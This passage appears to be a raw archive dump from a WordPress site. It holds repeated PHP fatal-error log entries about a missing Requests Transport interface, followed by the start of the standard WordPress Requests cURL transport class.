#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Sep-2025 01:49:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Sep-2025 01:49:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Sep-2025 01:58:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Sep-2025 01:58:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[09-Sep-2025 17:35:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[09-Sep-2025 17:35:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[09-Sep-2025 17:49:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[09-Sep-2025 17:49:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-Sep-2025 15:02:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-Sep-2025 15:02:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-Sep-2025 15:11:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-Sep-2025 15:11:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Sep-2025 16:53:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[18-Sep-2025 16:53:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[18-Sep-2025 17:07:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[18-Sep-2025 17:07:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[19-Sep-2025 06:24:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Sep-2025 06:24:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[19-Sep-2025 06:39:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[19-Sep-2025 06:39:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Sep-2025 12:31:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Sep-2025 12:31:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[22-Sep-2025 12:49:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[22-Sep-2025 12:49:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[25-Sep-2025 21:51:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[25-Sep-2025 21:51:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[25-Sep-2025 22:04:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[25-Sep-2025 22:04:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Oct-2025 10:36:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Oct-2025 10:36:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Oct-2025 10:44:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Oct-2025 10:44:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Oct-2025 14:38:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Nov-2025 08:24:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Nov-2025 08:24:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[02-Nov-2025 08:33:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[02-Nov-2025 08:33:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Dec-2025 18:38:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Dec-2025 18:38:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Dec-2025 18:52:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Dec-2025 18:52:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[23-Dec-2025 11:31:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[23-Dec-2025 11:31:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[23-Dec-2025 11:52:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[23-Dec-2025 11:52:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[24-Dec-2025 14:43:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[24-Dec-2025 14:44:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[24-Dec-2025 15:09:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[24-Dec-2025 15:09:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[04-Jan-2026 10:03:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Jan-2026 10:03:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[04-Jan-2026 10:13:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[04-Jan-2026 10:13:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Jan-2026 00:42:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Jan-2026 00:43:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Jan-2026 01:13:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Jan-2026 01:13:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[06-Jan-2026 01:26:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[06-Jan-2026 01:26:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[13-Jan-2026 23:45:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[13-Jan-2026 23:45:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
[14-Jan-2026 00:06:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Curl.php on line 25
[14-Jan-2026 00:06:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'WpOrg\Requests\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Transport/Fsockopen.php on line 25
Transport/Curl.php000064400000046163152223033010010157 0ustar00<?php
/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use RecursiveArrayIterator;
use RecursiveIteratorIterator;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Exception\Transport\Curl as CurlException;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\InputValidator;

/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */
final class Curl implements Transport {
	const CURL_7_10_5 = 0x070A05;
	const CURL_7_16_2 = 0x071002;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Raw body data
	 *
	 * @var string
	 */
	public $response_data = '';

	/**
	 * Information on the current request
	 *
	 * @var array cURL information array, see {@link https://www.php.net/curl_getinfo}
	 */
	public $info;

	/**
	 * cURL version number
	 *
	 * @var int
	 */
	public $version;

	/**
	 * cURL handle
	 *
	 * @var resource|\CurlHandle Resource in PHP < 8.0, Instance of CurlHandle in PHP >= 8.0.
	 */
	private $handle;

	/**
	 * Hook dispatcher instance
	 *
	 * @var \WpOrg\Requests\Hooks
	 */
	private $hooks;

	/**
	 * Have we finished the headers yet?
	 *
	 * @var boolean
	 */
	private $done_headers = false;

	/**
	 * If streaming to a file, keep the file pointer
	 *
	 * @var resource
	 */
	private $stream_handle;

	/**
	 * How many bytes are in the response body?
	 *
	 * @var int
	 */
	private $response_bytes;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $response_byte_limit;

	/**
	 * Constructor
	 */
	public function __construct() {
		$curl          = curl_version();
		$this->version = $curl['version_number'];
		$this->handle  = curl_init();

		curl_setopt($this->handle, CURLOPT_HEADER, false);
		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
		if ($this->version >= self::CURL_7_10_5) {
			curl_setopt($this->handle, CURLOPT_ENCODING, '');
		}

		if (defined('CURLOPT_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}

		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
	}

	/**
	 * Destructor
	 */
	public function __destruct() {
		if (is_resource($this->handle)) {
			curl_close($this->handle);
		}
	}

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On a cURL error (`curlerror`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->hooks = $options['hooks'];

		$this->setup_handle($url, $headers, $data, $options);

		$options['hooks']->dispatch('curl.before_send', [&$this->handle]);

		if ($options['filename'] !== false) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$this->stream_handle = @fopen($options['filename'], 'wb');
			if ($this->stream_handle === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		if (isset($options['verify'])) {
			if ($options['verify'] === false) {
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
			} elseif (is_string($options['verify'])) {
				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
			}
		}

		if (isset($options['verifyname']) && $options['verifyname'] === false) {
			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
		}

		curl_exec($this->handle);
		$response = $this->response_data;

		$options['hooks']->dispatch('curl.after_send', []);

		if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
			// Reset encoding and try again
			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');

			$this->response_data  = '';
			$this->response_bytes = 0;
			curl_exec($this->handle);
			$response = $this->response_data;
		}

		$this->process_response($response, $options);

		// Need to remove the $this reference from the curl handle.
		// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);

		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data
	 * @param array $options Global options
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$multihandle = curl_multi_init();
		$subrequests = [];
		$subhandles  = [];

		$class = get_class($this);
		foreach ($requests as $id => $request) {
			$subrequests[$id] = new $class();
			$subhandles[$id]  = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
			$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
			curl_multi_add_handle($multihandle, $subhandles[$id]);
		}

		$completed       = 0;
		$responses       = [];
		$subrequestcount = count($subrequests);

		$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);

		do {
			$active = 0;

			do {
				$status = curl_multi_exec($multihandle, $active);
			} while ($status === CURLM_CALL_MULTI_PERFORM);

			$to_process = [];

			// Read the information as needed
			while ($done = curl_multi_info_read($multihandle)) {
				$key = array_search($done['handle'], $subhandles, true);
				if (!isset($to_process[$key])) {
					$to_process[$key] = $done;
				}
			}

			// Parse the finished requests before we start getting the new ones
			foreach ($to_process as $key => $done) {
				$options = $requests[$key]['options'];
				if ($done['result'] !== CURLE_OK) {
					//get error string for handle.
					$reason          = curl_error($done['handle']);
					$exception       = new CurlException(
						$reason,
						CurlException::EASY,
						$done['handle'],
						$done['result']
					);
					$responses[$key] = $exception;
					$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
				} else {
					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);

					$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
				}

				curl_multi_remove_handle($multihandle, $done['handle']);
				curl_close($done['handle']);

				if (!is_string($responses[$key])) {
					$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
				}

				$completed++;
			}
		} while ($active || $completed < $subrequestcount);

		$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);

		curl_multi_close($multihandle);

		return $responses;
	}

	/**
	 * Get the cURL handle for use in a multi-request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return resource|\CurlHandle Subrequest's cURL handle
	 */
	public function &get_subrequest_handle($url, $headers, $data, $options) {
		$this->setup_handle($url, $headers, $data, $options);

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		$this->hooks = $options['hooks'];

		return $this->handle;
	}

	/**
	 * Setup the cURL handle for the given data
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 */
	private function setup_handle($url, $headers, $data, $options) {
		$options['hooks']->dispatch('curl.before_request', [&$this->handle]);

		// Force closing the connection for old versions of cURL (<7.22).
